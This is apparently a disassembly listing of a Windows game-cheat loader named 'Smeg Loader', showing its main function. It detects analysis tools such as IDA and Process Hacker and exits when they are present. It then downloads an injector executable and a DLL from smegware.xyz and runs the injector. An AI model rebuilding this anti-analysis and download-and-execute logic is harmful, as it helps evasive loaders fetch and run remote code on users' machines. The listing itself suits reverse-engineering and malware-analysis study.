Function at 0x140001d08
Capabilities:
Set console window title

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call dbg.__main
lea rax, str.Smeg_Loader...
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
call sym.enableANSISupport
lea rax, str.smegerrorlog.log
mov rcx, rax
call sym.initLogging
lea rax, str.Started_Loader
mov rcx, rax
call sym.writeLog
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x2aaaaaab
shr rax, 0x20
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp - 4], eax
mov ecx, dword [rbp - 4]
mov eax, ecx
add eax, eax
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp - 4], edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa57eb503
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 8], edx
mov edx, dword [rbp - 8]
imul edx, edx, 0x63
sub eax, edx
mov dword [rbp - 8], eax
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffb21642c9
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 0xc], edx
mov edx, dword [rbp - 0xc]
imul edx, edx, 0x2e
sub eax, edx
mov dword [rbp - 0xc], eax
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x10]
mov eax, ecx
shl eax, 3
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp - 0x10], edx
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x5bb95099
shr rdx, 0x20
sar edx, 0xf
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 0x14], edx
mov edx, dword [rbp - 0x14]
imul edx, edx, 0x1653f
sub eax, edx
mov dword [rbp - 0x14], eax
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x7ee2825b
shr rdx, 0x20
sar edx, 0xa
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 0x18], edx
mov edx, dword [rbp - 0x18]
imul edx, edx, 0x812
sub eax, edx
mov dword [rbp - 0x18], eax
mov byte [rbp - 0x19], 1
lea rax, str.ida64.exe
mov rcx, rax
call sym.isProcessRunning
test al, al
jne 0x140001ec7
lea rax, str.ProcessHacker.exe
mov rcx, rax
call sym.isProcessRunning
test al, al
jne 0x140001ec7
lea rax, str.C:Program_FilesProcess_Hacker_2kprocesshacker.sys2
mov rcx, rax
call sym.isSysFilePresent
test al, al
je 0x140001fd0
mov byte [rbp - 0x49], 0
mov byte [rbp - 0x4a], 0
mov byte [rbp - 0x4b], 0
lea rax, str.ida64.exe
mov rcx, rax
call sym.isProcessRunning
mov byte [rbp - 0x49], al
lea rax, str.ProcessHacker.exe
mov rcx, rax
call sym.isProcessRunning
mov byte [rbp - 0x4a], al
lea rax, str.C:Program_FilesProcess_Hacker_2kprocesshacker.sys
mov rcx, rax
call sym.isSysFilePresent
mov byte [rbp - 0x4b], al
cmp byte [rbp - 0x4b], 0
je 0x140001f18
lea rax, str.true
jmp 0x140001f1f
lea rax, str.false
lea rcx, [rbp - 0x51]
mov r9, rax
lea r8, [0x14000b298]
mov edx, 6
call sym.snprintf
lea rax, str.Bytes::_1
mov rcx, rax
call sym.writeLog
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.writeLog
cmp byte [rbp - 0x49], 0
je 0x140001f61
lea rax, str.true
jmp 0x140001f68
lea rax, str.false
lea rcx, [rbp - 0x57]
mov r9, rax
lea r8, [0x14000b298]
mov edx, 6
call sym.snprintf
lea rax, str.Bytes::_2
mov rcx, rax
call sym.writeLog
lea rax, [rbp - 0x57]
mov rcx, rax
call sym.writeLog
call sym.closeLogging
lea rax, str.Debugging_environment_detected._Exiting..._n
mov rcx, rax
call sym.printf
mov byte [rbp - 0x19], 0
call sym.CrashLoader
mov ecx, 0x2faf080
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 1
jmp 0x140002154
lea rax, str.Smeg_Labs._Version:_Legacy_State:_e_31mUNSTABLEe_0m_Stage:_0.1_n
mov rcx, rax
call sym.printf
lea rax, str.This_version_is_e_33mLegacye_0m._If_you_have_any_issues_please_contact_SUPPORT._n
mov rcx, rax
call sym.printf
lea r8, str.02:47:28
lea rax, str.Nov_20_2023
mov rdx, rax
lea rax, str.Build_Date:__s_Time:__s_n_n
mov rcx, rax
call sym.printf
call sym.GetWindowsVersion
call sym.GetCpuInfo
lea rax, str._nList_of_Games_n
mov rcx, rax
call sym.printf
lea rax, str.e_35m
mov rdx, rax
lea rax, str.CSGO:_Pending_Update__Broken__Offsets__n
mov rcx, rax
call sym.printInColor
lea rax, str.e_34m
mov rdx, rax
lea rax, str.Gmod:_Pending_Update__Working__Loader__n
mov rcx, rax
call sym.printInColor
call sym.closeLogging
lea rax, str.Enter_your_key:
mov rcx, rax
call sym.printf
lea rax, str.C:_Program_Files_smeg
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.createDirectory
mov ecx, 0xfa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.http:__smegware.xyz_gems_injector.exe
mov qword [rbp - 0x30], rax
lea rax, str.C:_Program_Files_smeg_injector.exe
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.downloadFile
lea rax, str.http:__smegware.xyz_gems_lol.dll
mov qword [rbp - 0x40], rax
lea rax, str.C:_Program_Files_smeg_smeg.dll
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.downloadFile
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x14000b1d2]
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.RunExecutableIfExists
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.ida64.exe
mov rcx, rax
call sym.isProcessRunning
test al, al
jne 0x14000213b
lea rax, str.ProcessHacker.exe
mov rcx, rax
call sym.isProcessRunning
test al, al
je 0x140002107
lea rax, str.Debugging_environment_detected._Exiting..._n
mov rcx, rax
call sym.printf
call sym.closeLogging
mov eax, 1
sub rsp, 0xffffffffffffff80
pop rbp
ret